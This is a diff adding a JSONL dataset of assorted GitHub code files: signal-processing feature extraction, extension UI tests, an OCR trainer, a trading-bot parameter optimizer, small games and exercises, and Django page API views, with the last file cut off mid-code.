diff --git "a/5243.jsonl" "b/5243.jsonl" new file mode 100644--- /dev/null +++ "b/5243.jsonl" @@ -0,0 +1,1532 @@ +{"seq_id":"15120585609","text":"from vmdpy import VMD\r\nimport numpy as np\r\nimport scipy.io as sio\r\nimport matplotlib.pyplot as plt\r\nimport scipy.signal\r\nimport pandas as pd\r\nimport librosa\r\n\r\ndef vmd_my(a):\r\n '''vmd算法进行去噪'''\r\n sig = pd.read_excel('acoustic resonance_'+str(a)+'.xlsx')#读取信号数据\r\n sig = np.array(sig['电压'])\r\n max_num=np.argmax(sig)\r\n sig=sig[max_num-500:max_num+15000]#寻找有效的信号片段较少计算量\r\n alpha=10000\r\n tau=0\r\n K=3\r\n DC=0\r\n init=1\r\n tol=1e-7\r\n imfs,u_hat,omega=VMD(sig,alpha,tau,K,DC,init,tol)#VMD函数进行分解\r\n sig1=imfs[1,:]\r\n sig_len1=len(sig1)\r\n time1= np.arange(sig_len1)\r\n half_sig1=sig_len1//2 \r\n ff=40000*np.arange(half_sig1)/sig_len1\r\n fft1=np.fft.fft(sig1)\r\n fft1=abs(fft1)/20000\r\n max_fft1=np.max(fft1[:half_sig1])\r\n num1=np.argmax(fft1[:half_sig1])\r\n new_p1 = np.abs(fft1[:half_sig1]-max_fft1/2)\r\n pidx_f1=np.argmin(new_p1[:num1])\r\n pidx_b1=np.argmin(new_p1[num1:])\r\n damping_half1 = (ff[pidx_b1+num1]-ff[pidx_f1])/ff[num1]\r\n sig2=imfs[2,:]\r\n sig_len2=len(sig2)\r\n time2= np.arange(sig_len2)\r\n half_sig2=sig_len2//2 \r\n ff2=40000*np.arange(half_sig2)/sig_len2\r\n fft2=np.fft.fft(sig2)\r\n fft2=abs(fft2)/20000\r\n max_fft2=np.max(fft2[:half_sig2])\r\n num2=np.argmax(fft2[:half_sig2])\r\n new_p2 = np.abs(fft2[:half_sig2]-max_fft2/2)\r\n pidx_f2=np.argmin(new_p2[:num2])\r\n pidx_b2=np.argmin(new_p2[num2:])\r\n damping_half2 = (ff[pidx_b2+num2]-ff[pidx_f2])/ff[num2]\r\n return max_fft1,ff[num1],max_fft2,ff[num2],imfs,sig,damping_half1,damping_half2\r\ndef data_time(imf):\r\n '''利用分段函数得到衰减时间'''\r\n #分段\r\n N=len(imf)\r\n segL = 50\r\n overlap = 0\r\n delta = segL-overlap\r\n segNum = np.int32(np.ceil((N-overlap)/delta));\r\n #扩展信号\r\n padNum = segNum*delta+overlap-N\r\n if padNum==0:\r\n sigEx = imf\r\n elif padNum>0:\r\n sigEx = np.hstack((imf,np.zeros(padNum)))\r\n #分段标签\r\n segIdx = np.arange(0,segNum)*delta\r\n #分段矩阵\r\n from numpy.lib.stride_tricks import as_strided\r\n segMat = as_strided(sigEx,shape=(segNum,segL),strides=(sigEx.strides[0]*delta,sigEx.strides[0]))\r\n segMat=abs(segMat)\r\n Mat_len=len(segMat)\r\n num_sta=[]\r\n num_end=[]\r\n for i in range(Mat_len): \r\n seg_max=np.max(segMat[i,:])\r\n if seg_max > 0.5:\r\n num_sta.append(i*50)\r\n for a in range(i+1,Mat_len):\r\n seg_min=np.max(segMat[a,:])\r\n if seg_min < 0.2:\r\n num_end.append(a*50)\r\n break\r\n break\r\n data_time=num_end[0]-num_sta[0]\r\n sig_real=imf[num_sta[0]:num_end[0]]\r\n return data_time,sig_real\r\nDt1=[]\r\nzero_crossing_lis1=[]\r\nspec_cent=[]\r\nFF_MAX1= []\r\nPIDX1=[]\r\nDt2=[]\r\nzero_crossing_lis2=[]\r\nFF_MAX2= []\r\nPIDX2=[]\r\nDAMPING_HALF1=[]\r\nDAMPING_HALF2=[]\r\nfor i in range(1,44):\r\n max_fft1,ff1,max_fft2,ff2,imfs,sig,damping_half1,damping_half2=vmd_my(i)#vmd处理信号\r\n FF_MAX1.append(max_fft1)\r\n PIDX1.append(ff1)\r\n data_t1,sig_real1=data_time(sig-imfs[0,:])#获取衰减时间\r\n zero1=librosa.feature.zero_crossing_rate(sig_real1, frame_length = 2048, hop_length = 100, center = True)#获取过零率 \r\n zero_mean1=np.mean(zero1)#获取平均过零率\r\n Dt1.append(data_t1)#储存衰减时间\r\n zero_crossing_lis1.append(zero_mean1)#储存过零率\r\n DAMPING_HALF1.append(damping_half1)\r\n FF_MAX2.append(max_fft2)\r\n PIDX2.append(ff2)\r\n # data_t2,sig_real2=data_time(imfs[2,:])#获取衰减时间\r\n # zero2=librosa.feature.zero_crossing_rate(sig_real2, frame_length = 2048, hop_length = 100, center = True)#获取过零率 \r\n # zero_mean2=np.mean(zero2)#获取平均过零率\r\n # Dt2.append(data_t2)#储存衰减时间\r\n # zero_crossing_lis2.append(zero_mean2)#储存过零率 \r\n DAMPING_HALF2.append(damping_half2)\r\n a = librosa.feature.spectral_centroid(sig-imfs[0,:],sr=40000)[0]\r\n b = np.mean(a)\r\n spec_cent.append(b)\r\n print(i)\r\n'''下面是将各数据规范格式,转换成列数据,并合并起来'''\r\nFF_MAX1 = np.array(FF_MAX1).reshape(-1,1)\r\nPIDX1 = np.array(PIDX1).reshape(-1,1)\r\nspectral_cent=np.array(spec_cent).reshape(-1,1)\r\ndata_time1=np.array(Dt1).reshape(-1,1)/40000\r\nzero_crossing_rate1=np.array(zero_crossing_lis1).reshape(-1,1)\r\nFF_MAX2 = np.array(FF_MAX2).reshape(-1,1)\r\nPIDX2 = np.array(PIDX2).reshape(-1,1)\r\nDAMPING_HALF1=np.array(DAMPING_HALF1).reshape(-1,1)\r\nDAMPING_HALF2=np.array(DAMPING_HALF2).reshape(-1,1)\r\n# data_time2=np.array(Dt2).reshape(-1,1)/40000\r\nzero_crossing_rate2=np.array(zero_crossing_lis2).reshape(-1,1)\r\n# A=np.concatenate((zero_crossing_rate1,data_time1,FF_MAX1,PIDX1,zero_crossing_rate2,data_time2,FF_MAX2,PIDX2,spectral_cent),axis=1)\r\nA=np.concatenate((zero_crossing_rate1,data_time1,FF_MAX1,PIDX1,FF_MAX2,PIDX2,spectral_cent,DAMPING_HALF1,DAMPING_HALF2),axis=1)\r\n\r\nA=pd.DataFrame(A)\r\n'''保存数据以.xlsx格式'''\r\nwith pd.ExcelWriter('Thick_tile_GRADUATION.xlsx') as writer:\r\n A.to_excel(writer,sheet_name=str(0))\r\n","repo_name":"leonlithu/Features_extraction","sub_path":"feature_extration_graduation.py","file_name":"feature_extration_graduation.py","file_ext":"py","file_size_in_byte":5094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35288021200","text":"from behave import *\nfrom beryl import click, is_text_on_screen, notify\nfrom itertools import izip\nfrom PIL import Image\nfrom subprocess import call\nfrom pytesseract import image_to_string\nfrom time import sleep\n\npath_to_images = \"/home/beofen/FirstDraftGIS/firstdraftgis-chrome-extension-tester/images/\"\npath_to_icon = path_to_images + \"icon.png\"\n\n# goes to blank page and clicks on it\n@notify\ndef clear(context):\n context.driver.get(\"about:blank\")\n sleep(1)\n click((200,200))\n\n@given(\"cleared\")\n@notify\ndef cleared(context):\n notify(\"starting cleared\")\n context.driver.get(\"about:blank\")\n sleep(1)\n click((200,200))\n click(path_to_icon)\n click(\"Delete\")\n sleep(1)\n click(\"Yes\")\n \n@notify\ndef getPercentDifference(a, b):\n pairs = izip(a.getdata(), b.getdata())\n dif = sum(abs(c1-c2) for p1,p2 in pairs for c1,c2 in zip(p1,p2))\n ncomponents = a.size[0] * a.size[1] * 3\n percentdiff = (dif / 255.0 * 100) / ncomponents \n return percentdiff\n\n@given(\"nothing\")\n@notify\ndef do_nothing(context):\n pass\n\n#@when(\"install the extension\")\n#def install_extension(context):\n\n@when(\"you click the button\")\n@when(\"open popup\")\n@notify\ndef click_button(context):\n click(path_to_icon)\n sleep(5)\n\n@when(u'wait {number_of_seconds} seconds')\n@notify\ndef wait_number_of_seconds(context, number_of_seconds):\n sleep(int(number_of_seconds))\n\n@when(\"wait 1 second\")\n@notify\ndef wait_1_second(context):\n sleep(1)\n\n@then(\"a popup should appear\")\n@notify\ndef popup_should_appear(context):\n notify(\"starting popup_should_appear\")\n context.driver.get(\"about:blank\")\n sleep(1)\n print(\"starting popup_should_appear\")\n call([\"gnome-screenshot\", \"--file=/tmp/scrn.png\"])\n sleep(3)\n screenshot = Image.open(\"/tmp/scrn.png\")\n w, h = screenshot.size\n screenshot = screenshot.crop((0,25,w,h-25))\n comparison = Image.open(path_to_images + \"opened.png\")\n assert screenshot.mode == comparison.mode\n assert screenshot.size == comparison.size\n assert getPercentDifference(screenshot,comparison) < 5\n\n@notify\n@then(\"{name} should appear in popup\")\ndef name_should_appear_in_popup(context, name):\n notify(\"starting name_should_appear_in_popup\")\n context.driver.get(\"about:blank\")\n sleep(1)\n assert is_text_on_screen(name)\n\n@when(\"go to {url}\")\n@notify\ndef go_to_url(context, url):\n context.driver.get(url)\n","repo_name":"FirstDraftGIS/firstdraftgis-chrome-extension-tester","sub_path":"steps/steps.py","file_name":"steps.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7161695994","text":"from pathlib import Path\nfrom typing import Iterable, Tuple\n\nfrom datasets import load_metric\nfrom PIL import Image\nfrom transformers import Seq2SeqTrainer, Seq2SeqTrainingArguments, default_data_collator\nfrom transformers import TrOCRProcessor, VisionEncoderDecoderModel\n\nfrom ..model import OCRModel\nfrom .dataset import TrOCRDataset\n\n\ndef get_seq2seq_trainer(\n model: VisionEncoderDecoderModel,\n processor: TrOCRProcessor,\n train_dataset: TrOCRDataset,\n eval_dataset: TrOCRDataset,\n batch_size: int,\n output_dir: Path,\n logging_steps: int,\n save_steps: int,\n eval_steps: int,\n max_steps: int,\n dataloader_num_workers: int,\n) -> Seq2SeqTrainer:\n training_args = Seq2SeqTrainingArguments(\n predict_with_generate=True,\n evaluation_strategy=\"steps\",\n per_device_train_batch_size=batch_size,\n per_device_eval_batch_size=batch_size,\n fp16=True,\n output_dir=output_dir,\n logging_steps=logging_steps,\n save_steps=save_steps,\n eval_steps=eval_steps,\n max_steps=max_steps,\n dataloader_num_workers=dataloader_num_workers,\n )\n\n cer_metric = load_metric(\"cer\")\n\n def compute_metrics(pred):\n labels_ids = pred.label_ids\n pred_ids = pred.predictions\n\n pred_str = processor.batch_decode(pred_ids, skip_special_tokens=True)\n labels_ids[labels_ids == -100] = processor.tokenizer.pad_token_id\n label_str = processor.batch_decode(labels_ids, skip_special_tokens=True)\n\n cer = cer_metric.compute(predictions=pred_str, references=label_str)\n\n return {\"cer\": cer}\n\n # instantiate trainer\n trainer = Seq2SeqTrainer(\n model=model,\n tokenizer=processor.feature_extractor,\n args=training_args,\n compute_metrics=compute_metrics,\n train_dataset=train_dataset,\n eval_dataset=eval_dataset,\n data_collator=default_data_collator,\n )\n return trainer\n\n\nclass OCRTrainer:\n def __init__(\n self,\n model: OCRModel,\n train_data: Iterable[Tuple[Image.Image, str]],\n eval_data: Iterable[Tuple[Image.Image, str]],\n max_target_length: int,\n batch_size: int,\n output_dir: Path,\n logging_steps: int,\n save_steps: int,\n eval_steps: int,\n max_steps: int,\n dataloader_num_workers: int,\n ):\n self.model = model\n self.train_dataset = TrOCRDataset(\n train_data,\n self.model.processor,\n max_target_length,\n )\n self.eval_dataset = TrOCRDataset(\n eval_data,\n self.model.processor,\n max_target_length,\n )\n self.batch_size = batch_size\n\n self.output_dir = output_dir\n self.logging_steps = logging_steps\n self.save_steps = save_steps\n self.eval_steps = eval_steps\n self.max_steps = max_steps\n self.dataloader_num_workers = dataloader_num_workers\n self.hugging_face_trainer = get_seq2seq_trainer(\n self.model.model,\n self.model.processor,\n self.train_dataset,\n self.eval_dataset,\n self.batch_size,\n str(self.output_dir),\n self.logging_steps,\n self.save_steps,\n self.eval_steps,\n self.max_steps,\n self.dataloader_num_workers,\n )\n\n def train(self):\n self.hugging_face_trainer.train()\n","repo_name":"dariush-bahrami/osee","sub_path":"osee/train/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"4501872478","text":"import mysql.connector\n\nmydb = mysql.connector.connect(\n host='localhost',\n user='root',\n password='wewemaylalong2A!',\n database='token_info'\n)\n\ncur = mydb.cursor()\n\ncur.execute('SHOW TABLES;')\nprint(cur.fetchall())\n\nsql = 'INSERT IGNORE INTO bsc_info ( \\\n TokenAddress, Name, Symbol, Value_USD, Value_BNB, \\\n TotalValue_USD, TotalTokenSupply, Holder, Transfers, Decimals) \\\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s);'\nparams = (\"a\", \"b\", \"c\", 1.0, 1.0, 1.0, 1, 1, 1, 1)\n\ncur.execute(sql, params)\nmydb.commit()\ncur.execute('SELECT * FROM bsc_info')\n\nrs = cur.fetchall()\n\nfor row in rs:\n print(row)\n\n","repo_name":"benjaminNguyen99/Scam-Token-Project","sub_path":"test_db.py","file_name":"test_db.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19964589531","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#Juego piedra papel tijera.... para curso python/django de platzi\n#Usa varios de los elementos enseñados en clases:\n# *Variables\n# *Operador para disminuir en uno una variable entera\n# *Diccionarios\n# *Tuplas\n# *Bucles while\n# *Condicionales if-elif-else\n# *Operadores in y not in\n# *Operadores lógicos y de comparación\n# *Importar de una librería\n# *Entrada y Salida estándar\n# *Uso de formatos para la salida\n# *Uso de comentarios\n# *Uso de 4 espacios para la indentación de los bloques\n\n#PYTHON 3\n\nfrom random import choice\n\nopciones = { 'piedra': (\"tijera\", \"lagarto\"),\n 'papel': (\"piedra\", \"spock\"), \n 'tijera': (\"papel\", \"lagarto\"), \n 'lagarto': (\"spock\", \"papel\"),\n 'spock': (\"piedra\", \"tijera\")\n }\n\nprint(\"PIEDRA PAPEL TIJERA LAGARTO SPOCK\\nLa máquina te desafía a un duelo al mejor de 5. ¿Estás listo?\\n\")\n\n#vidas del jugador y enemigo\njugador, villano = 3, 3\n\n#Bucle que se mantiene corriendo hasta que uno de los jugadores tenga vida igual a cero\n\nwhile jugador and villano :\n \n #elecciones\n eleccion_jugador = input(\"\\nEscribe tu opción(piedra-papel-tijera-lagarto-spock): \")\n \n if eleccion_jugador not in opciones.keys():\n print(\"Hey!, ingresaste una opción inválida.\")\n print(\"Recuerda, la palabra debe estar escrita tal como aparece en los paréntesis\")\n continue #finaliza esta vuelta del bucle aquí y inicia una nueva.\n \n eleccion_villano = choice(tuple(opciones.keys()))\n \n print(\"\\nElegiste %s, y la máquina %s\" %(eleccion_jugador, eleccion_villano) )\n \n if eleccion_villano in opciones[eleccion_jugador]:\n print(\"Ganaste :_(!\")\n villano -= 1\n elif eleccion_jugador == eleccion_villano:\n print(\"Esto es extraño, de algún modo me leiste la cpu y elegimos lo mismo :/\")\n else:\n print(\"Perdiste >:D!\")\n jugador -= 1\n print(\"Te quedan %d vida(s)\" %(jugador))\n print(\"Vidas de la máquina: %d\" %(villano))\n \nif villano == 0:\n print(\"\\nSHIT! Me has ganado, seguro has usado algún hack...\")\nelse:\n print(\"\\nJajajaja! Perdiste! No te preocupes, es normal, las máquinas somos mejores.\")\n","repo_name":"juandc/platzi-courses","sub_path":"Python-Django-2016/Python/Reto/Otros-Competidores/Francisco/spock_wins.py","file_name":"spock_wins.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"15884249711","text":"import os\nos.environ['NOJIT'] = 'false'\n\nfrom downloader import Downloader\nimport argparse\nimport asyncio\nimport json\nimport hjson\nimport numpy as np\nfrom backtest import backtest\nfrom multiprocessing import Pool\nfrom pure_funcs import analyze_fills, pack_config, unpack_config, numpyize, denumpyize, config_pretty_str, \\\n get_template_live_config, candidate_to_live_config, ts_to_date, round_values\nfrom procedures import add_argparse_args, prepare_optimize_config, load_live_config, make_get_filepath, \\\n load_exchange_key_secret, prepare_backtest_config, dump_live_config\nfrom time import sleep, time\n\n\ndef backtest_single_wrap(config_: dict):\n config = config_.copy()\n exchange_name = config['exchange'] + ('_spot' if config['market_type'] == 'spot' else '')\n cache_filepath = f\"backtests/{exchange_name}/{config['symbol']}/caches/\"\n ticks_filepath = cache_filepath + f\"{config['start_date']}_{config['end_date']}_ticks_cache.npy\"\n mss = json.load(open(cache_filepath + 'market_specific_settings.json'))\n ticks = np.load(ticks_filepath)\n config.update(mss)\n try:\n fills, stats = backtest(config, ticks)\n fdf, sdf, analysis = analyze_fills(fills, stats, config)\n pa_closeness = analysis['pa_closeness_mean_long']\n adg = analysis['average_daily_gain']\n score = adg * (min(1.0, config['maximum_pa_closeness_mean_long'] / pa_closeness)**2)\n print(f\"backtested {config['symbol']: <12} pa closeness {analysis['pa_closeness_mean_long']:.6f} \"\n f\"adg {adg:.6f} score {score:.8f}\")\n except Exception as e:\n print(f'error with {config[\"symbol\"]} {e}')\n print('config')\n print(config)\n score = -9999999999999.9\n adg = 0.0\n pa_closeness = 100.0\n with open(make_get_filepath('tmp/harmony_search_errors.txt'), 'a') as f:\n f.write(json.dumps([time(), 'error', str(e), denumpyize(config)]) + '\\n')\n return (pa_closeness, adg, score)\n\n\ndef backtest_multi_wrap(config: dict, pool):\n tasks = {}\n for s in sorted(config['symbols']):\n tasks[s] = pool.apply_async(backtest_single_wrap, args=({**config, **{'symbol': s}},))\n while True:\n if all([task.ready() for task in tasks.values()]):\n break\n sleep(0.1)\n results = {k: v.get() for k, v in tasks.items()}\n mean_pa_closeness = np.mean([v[0] for v in results.values()])\n mean_adg = np.mean([v[1] for v in results.values()])\n mean_score = np.mean([v[2] for v in results.values()])\n new_score = mean_adg * min(1.0, config['maximum_pa_closeness_mean_long'] / mean_pa_closeness)\n print(f'pa closeness {mean_pa_closeness:.6f} adg {mean_adg:.6f} score {mean_score:8f} new score {new_score:.8f}')\n return -new_score, results\n\n\ndef harmony_search(\n func, \n bounds: np.ndarray, \n n_harmonies: int, \n hm_considering_rate: float, \n bandwidth: float, \n pitch_adjusting_rate: float, \n iters: int,\n starting_xs: [np.ndarray] = [],\n post_processing_func = None):\n # hm == harmony memory\n n_harmonies = max(n_harmonies, len(starting_xs))\n seen = set()\n hm = numpyize([[np.random.uniform(bounds[0][i], bounds[1][i]) for i in range(len(bounds[0]))] for _ in range(n_harmonies)])\n for i in range(len(starting_xs)):\n assert len(starting_xs[i]) == len(bounds[0])\n harmony = np.array(starting_xs[i])\n for z in range(len(bounds[0])):\n harmony[z] = max(bounds[0][z], min(bounds[1][z], harmony[z]))\n tpl = tuple(harmony)\n if tpl not in seen:\n hm[i] = harmony\n seen.add(tpl)\n print('evaluating initial harmonies...')\n hm_evals = numpyize([func(h) for h in hm])\n\n print('best harmony')\n print(round_values(denumpyize(hm[hm_evals.argmin()]), 5), f'{hm_evals.min():.8f}')\n if post_processing_func is not None:\n post_processing_func(hm[hm_evals.argmin()])\n print('starting search...')\n worst_eval_i = hm_evals.argmax()\n for itr in range(iters):\n new_harmony = np.zeros(len(bounds[0]))\n for note_i in range(len(bounds[0])):\n if np.random.random() < hm_considering_rate:\n new_note = hm[np.random.randint(0, len(hm))][note_i]\n if np.random.random() < pitch_adjusting_rate:\n new_note = new_note + bandwidth * (np.random.random() - 0.5) * abs(bounds[0][note_i] - bounds[1][note_i])\n new_note = max(bounds[0][note_i], min(bounds[1][note_i], new_note))\n else:\n new_note = np.random.uniform(bounds[0][note_i], bounds[1][note_i])\n new_harmony[note_i] = new_note\n h_eval = func(new_harmony)\n if h_eval < hm_evals[worst_eval_i]:\n hm[worst_eval_i] = new_harmony\n hm_evals[worst_eval_i] = h_eval\n worst_eval_i = hm_evals.argmax()\n print('improved harmony')\n print(round_values(denumpyize(new_harmony), 5), f'{h_eval:.8f}')\n print('best harmony')\n print(round_values(denumpyize(hm[hm_evals.argmin()]), 5), f'{hm_evals.min():.8f}')\n print('iteration', itr, 'of', iters)\n if post_processing_func is not None:\n post_processing_func(hm[hm_evals.argmin()])\n return hm[hm_evals.argmin()]\n\n\nclass FuncWrap:\n def __init__(self, pool, base_config):\n self.pool = pool\n self.base_config = base_config\n self.xs_conf_map = [k for k in sorted(base_config['ranges'])]\n self.bounds = numpyize([[self.base_config['ranges'][k][0] for k in self.xs_conf_map],\n [self.base_config['ranges'][k][1] for k in self.xs_conf_map]])\n self.now_date = ts_to_date(time())[:19].replace(':', '-')\n self.results_fname = make_get_filepath(f'tmp/harmony_search_results_{self.now_date}.txt')\n self.best_conf_fname = f'tmp/harmony_search_best_config_{self.now_date}.json'\n\n def xs_to_config(self, xs):\n config = unpack_config(self.base_config.copy())\n for i, x in enumerate(xs):\n config[self.xs_conf_map[i]] = x\n return pack_config(config)\n \n def config_to_xs(self, config):\n unpacked = unpack_config(config)\n return [unpacked[k] for k in self.xs_conf_map]\n\n def func(self, xs):\n config = self.xs_to_config(xs)\n score, results = backtest_multi_wrap(config, self.pool)\n with open(self.results_fname, 'a') as f:\n f.write(json.dumps({'config': candidate_to_live_config(config), 'results': results}) + '\\n')\n return score\n\n def post_processing_func(self, xs):\n dump_live_config(self.xs_to_config(xs), self.best_conf_fname)\n\n\nasync def main():\n parser = argparse.ArgumentParser(prog='Optimize multi symbol', description='Optimize passivbot config multi symbol')\n parser.add_argument('-o', '--optimize_config', type=str, required=False, dest='optimize_config_path',\n default='configs/optimize/multi_symbol.hjson', help='optimize config hjson file')\n parser.add_argument('-t', '--start', type=str, required=False, dest='starting_configs',\n default=None,\n help='start with given live configs. single json file or dir with multiple json files')\n parser.add_argument('-i', '--iters', type=int, required=False, dest='iters', default=None, help='n optimize iters')\n parser = add_argparse_args(parser)\n args = parser.parse_args()\n args.symbol = 'BTCUSDT' # dummy symbol\n config = await prepare_optimize_config(args)\n config.update(get_template_live_config())\n config['exchange'], _, _ = load_exchange_key_secret(config['user'])\n\n # download ticks .npy file if missing\n cache_fname = f\"{config['start_date']}_{config['end_date']}_ticks_cache.npy\"\n exchange_name = config['exchange'] + ('_spot' if config['market_type'] == 'spot' else '')\n for symbol in sorted(config['symbols']):\n cache_dirpath = f\"backtests/{exchange_name}/{symbol}/caches/\"\n if not os.path.exists(cache_dirpath + cache_fname) or not os.path.exists(cache_dirpath + 'market_specific_settings.json'):\n print(f'fetching data {symbol}')\n args.symbol = symbol\n tmp_cfg = await prepare_backtest_config(args)\n downloader = Downloader({**config, **tmp_cfg})\n await downloader.get_sampled_ticks()\n\n pool = Pool(processes=config['n_cpus'])\n\n func_wrap = FuncWrap(pool, config)\n cfgs = []\n if args.starting_configs is not None:\n if os.path.isdir(args.starting_configs):\n cfgs = []\n for fname in os.listdir(args.starting_configs):\n try:\n cfgs.append(load_live_config(os.path.join(args.starting_configs, fname)))\n except Exception as e:\n print('error loading config:', e)\n elif os.path.exists(args.starting_configs):\n try:\n cfgs = [load_live_config(args.starting_configs)]\n except Exception as e:\n print('error loading config:', e)\n starting_xs = [func_wrap.config_to_xs(cfg) for cfg in cfgs]\n\n n_harmonies = config['n_harmonies']\n hm_considering_rate = config['hm_considering_rate']\n bandwidth = config['bandwidth']\n pitch_adjusting_rate = config['pitch_adjusting_rate']\n iters = config['iters']\n best_harmony = harmony_search(func_wrap.func, func_wrap.bounds, n_harmonies,\n hm_considering_rate, bandwidth, pitch_adjusting_rate, iters,\n starting_xs=starting_xs,\n post_processing_func=func_wrap.post_processing_func)\n best_conf = func_wrap.xs_to_config(best_harmony)\n print('best conf')\n print(best_conf)\n return\n\n\nif __name__ == '__main__':\n asyncio.run(main())\n","repo_name":"wojtekjakubo/passivbot","sub_path":"multi_symbol_optimize.py","file_name":"multi_symbol_optimize.py","file_ext":"py","file_size_in_byte":9858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"38625463848","text":"from random import randint\nA = []\nB = []\nC = []\n\nfor i in range(5):\n A.append(randint(0, 10))\n B.append(randint(0, 10))\n\nfor i in range(5):\n if B[i] in A:\n C.append(B[i])\n\nprint(f'A- {A}')\nprint(f'B- {B}')\n\nif len(C) > 1:\n print(f'\\nEncontrei {len(C)} elementos da lista B iguais a lista A:')\n print(f'C- {C}')\nelif len(C) == 1:\n print(f'\\nEncontrei {len(C)} elemento da lista B igual a lista A:')\n print(f'C- {C}')\nelse:\n print('\\nNão encontrei elementos iguais nas duas listas :(')\n","repo_name":"rogeriofrsouza/Fatec-LP3","sub_path":"3- Listas II/ex06a.py","file_name":"ex06a.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3908697820","text":"from collections import deque\nfrom typing import Collection\n\n\nN, K = map(int, input().split())\nMOD = int(1e5)\nused = [-1]*int(1e5)\nx = N\ncount = 0\nflag = True\nwhile count < K:\n if used[x] != -1 and flag:\n loop = count-used[x]\n count = K-(K-count) % loop\n flag = False\n\n else:\n used[x] = count\n y = 0\n for s in str(x):\n y += int(s)\n x = (y+x) % MOD\n count += 1\nprint(x)\n","repo_name":"yudai1102jp/atcoder","sub_path":"typical90/058.py","file_name":"058.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8761600395","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport requests\nfrom xml.etree import ElementTree as ET\n\n# 1、解析XML\n\n'''\n##### 方法一\n\n# 打开文件,读取XML内容\nstr_xml = open('first.xml', 'r').read()\n# 将字符串解析成xml特殊对象,root代指xml文件的根节点\nroot = ET.XML(str_xml)\n'''\n\n\n##### 方法二\n\n#利用ElementTree.parse将文件直接解析成xml对象\n\n# 直接解析xml文件\n\ntree = ET.parse(\"first.xml\")\n# 获取xml文件的根节点,Element类型\nroot = tree.getroot()\n\n\n# 2、操作XML\n'''\n#顶层标签\nprint(root.tag,root.attrib)\n# 遍历XML文档的第二层\nfor child in root:\n # 第二层节点的标签名称和标签属性\n print(child.tag,child.attrib)\n # 遍历XML文档的第三层\n for i in child:\n # 第二层节点的标签名称和内容\n print(i.tag,i.attrib)\n'''\n\n\n#创建节点,Element类型(可以通过makeelement()方法创建,也可以直接通过ET.Element()创建)\n# child = root.makeelement('tt',{'kk':'vv'})\nchild = ET.Element('tt',{'kk':'vv'})\n#将子节点加入到root节点(在内存中,想要写入文件,需要写入)\n# rechild = child.makeelement('tt',{'kk':'123123'})\nrechild = ET.Element('tt',{'kk':'123123'})\nroot.append(child)\nchild.append(rechild)\n# tree.write(\"first.xml\",short_empty_elements=False) #short_empty_elements=False 自闭和关闭(当节点没有内容的时候默认自闭合)\ntree.write(\"first.xml\")","repo_name":"staryjie/Full-Stack","sub_path":"day12/xml_re.py","file_name":"xml_re.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26386569228","text":"# Python imports\nfrom datetime import timedelta, datetime, date\n\n# Django imports\nfrom django.db import IntegrityError\nfrom django.db.models import Exists, OuterRef, Q, Prefetch\nfrom django.utils import timezone\n\n# Third party imports\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom sentry_sdk import capture_exception\n\n# Module imports\nfrom .base import BaseViewSet, BaseAPIView\nfrom plane.api.permissions import ProjectEntityPermission\nfrom plane.db.models import (\n Page,\n PageBlock,\n PageFavorite,\n Issue,\n IssueAssignee,\n IssueActivity,\n)\nfrom plane.api.serializers import (\n PageSerializer,\n PageBlockSerializer,\n PageFavoriteSerializer,\n IssueLiteSerializer,\n)\n\n\nclass PageViewSet(BaseViewSet):\n serializer_class = PageSerializer\n model = Page\n permission_classes = [\n ProjectEntityPermission,\n ]\n search_fields = [\n \"name\",\n ]\n\n def get_queryset(self):\n subquery = PageFavorite.objects.filter(\n user=self.request.user,\n page_id=OuterRef(\"pk\"),\n project_id=self.kwargs.get(\"project_id\"),\n workspace__slug=self.kwargs.get(\"slug\"),\n )\n return self.filter_queryset(\n super()\n .get_queryset()\n .filter(workspace__slug=self.kwargs.get(\"slug\"))\n .filter(project_id=self.kwargs.get(\"project_id\"))\n .filter(project__project_projectmember__member=self.request.user)\n .filter(Q(owned_by=self.request.user) | Q(access=0))\n .select_related(\"project\")\n .select_related(\"workspace\")\n .select_related(\"owned_by\")\n .annotate(is_favorite=Exists(subquery))\n .order_by(self.request.GET.get(\"order_by\", \"-created_at\"))\n .prefetch_related(\"labels\")\n .order_by(\"name\", \"-is_favorite\")\n .prefetch_related(\n Prefetch(\n \"blocks\",\n queryset=PageBlock.objects.select_related(\n \"page\", \"issue\", \"workspace\", \"project\"\n ),\n )\n )\n .distinct()\n )\n\n def perform_create(self, serializer):\n serializer.save(\n project_id=self.kwargs.get(\"project_id\"), owned_by=self.request.user\n )\n\n def create(self, request, slug, project_id):\n try:\n serializer = PageSerializer(\n data=request.data,\n context={\"project_id\": project_id, \"owned_by_id\": request.user.id},\n )\n\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n except Exception as e:\n capture_exception(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n\nclass PageBlockViewSet(BaseViewSet):\n serializer_class = PageBlockSerializer\n model = PageBlock\n permission_classes = [\n ProjectEntityPermission,\n ]\n\n def get_queryset(self):\n return self.filter_queryset(\n super()\n .get_queryset()\n 